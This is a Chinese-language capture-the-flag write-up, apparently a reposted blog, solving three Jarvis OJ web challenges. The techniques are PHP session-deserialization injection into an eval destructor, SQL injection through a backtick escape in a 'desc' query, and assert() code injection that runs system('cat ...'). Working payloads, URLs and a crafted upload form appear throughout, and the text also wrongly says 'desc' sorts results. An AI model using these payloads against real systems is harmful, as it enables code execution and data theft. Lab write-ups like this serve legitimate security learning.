Jarvis OJ (2)

题目:

 1.PHPINFO

 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

这是一段关于session序列化的代码。先学习一下这个东西。

session序列化

三种方法

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

用一个实例说明这个问题

构造两个文件index.php和flag.php

//flag.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class hsy
{
    public $zyg;
    function __construct()
    {
        $this->zyg='phpinfo()';
    }
    function __destruct()
    {
        eval($this->zyg);
    }
}
?>
//index.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION["hsy"]=$_GET["a"];
echo $_SESSION["hsy"];
?>

查看flag.php

扫描二维码关注公众号,回复: 6289348 查看本文章

index.php中插入的序列化字符串被成功执行

由于本题目不存在可以输入代码的地方,借用别人的思路顺便也学习了一下。

构造一个文件 

<!DOCTYPE html>
<html lang="en">
<body>
<form action="http://web.jarvisoj.com:32784/" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit"  />
</form>
</body>
</html>

打开代理截取上传文件

在本地生成一个序列化字符串

<?php
ini_set('session.serialize_handler', 'php_serialize');
class hsy
{
    public $mdzz='需要设置的代码';
    function __construct()
    {
        // $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new hsy();
echo serialize($obj);
?>

尝试构造“|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:16:\"echo \"syclover\";\";}”

返回了字符串

因此可以在插入字符串的片段中执行我们想要的东西

查找根目录

进入子目录查找

 进入对应文件

 答案:CTF{4d96e37f4be998c50aa586de4ada354a}

2.inject

打开题目

用dirsearch扫后台发现源码泄露,index.php~

下载源码。

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

这里涉及了两个关键的查询语句

desc secret_($table) 

select 'flag{xxx}'  from secret_{$table}

先去看一下desc语句

本地测试一下

desc的作用是排序。

mysql> create table students(
    -> id int(2) auto_increment primary key,
    -> scores varchar(20),
    -> first_name varchar(20));
Query OK, 0 rows affected (0.18 sec)

mysql> desc students;
+------------+-------------+------+-----+---------+----------------+
| Field      | Type        | Null | Key | Default | Extra          |
+------------+-------------+------+-----+---------+----------------+
| id         | int(2)      | NO   | PRI | NULL    | auto_increment |
| scores     | varchar(20) | YES  |     | NULL    |                |
| first_name | varchar(20) | YES  |     | NULL    |                |
+------------+-------------+------+-----+---------+----------------+
3 rows in set (0.01 sec)

他会对于变量中是否存在一些元素进行排序。

前面有了desc的约束 无法通过xx union select 1,2,3#进行查询

上网学习了一下。对于反引号的绕过可以如下方式。

mysql> create table desc(
    -> id int(1));
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'desc(

id int(1))' at line 1
mysql> create table `desc`(
    -> id int(1));
Query OK, 0 rows affected (0.04 sec)

desc表单加``即可建立,不加就会报错。

在构造语句的过程中发现,后面还可以跟反引号括起来的内容,例如desc user aaa,查资料发现这样写的结果是,语句正常执行,aaa作为user表的别名。那么在这道题目中就可以保证第一个sql语句正常执行,不跳到Hacker()函数,通过这种形式就可以构造第二个sql语句完成注入的目的。

本地SQL测试一下

mysql> desc students aaa;
Empty set (0.00 sec)

成功注入到students中。

按这个原理去测试一下

http://web.jarvisoj.com:32794/?table=test` `where 1=2 union select 1

http://web.jarvisoj.com:32794/?table=test` `where% 1=2 union select table_name from information_schema.tables limit 0,1

http://web.jarvisoj.com:32794/?table=test`%20`where%201=2%20union%20select%20column_NAME%20from%20information_schema.columns%20limit%200,1

http://web.jarvisoj.com:32794/?table=test`%20`where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

flag{luckyGame~}

3.babyphp

打开不同页面page的参数也不同。用githack扫一下目录。

//index.php
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

这里的assert()是比较重要的。

先来看一下assert的用法。

 assert和eval一样作用是将字符串作为一段代码执行

因此可以利用这样的特点进行php注入。

利用assert可以执行代码的特点进入文件。

payload:

?page='. system("cat templates/flag.php").'

查看源码后可得到flag。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10934747.html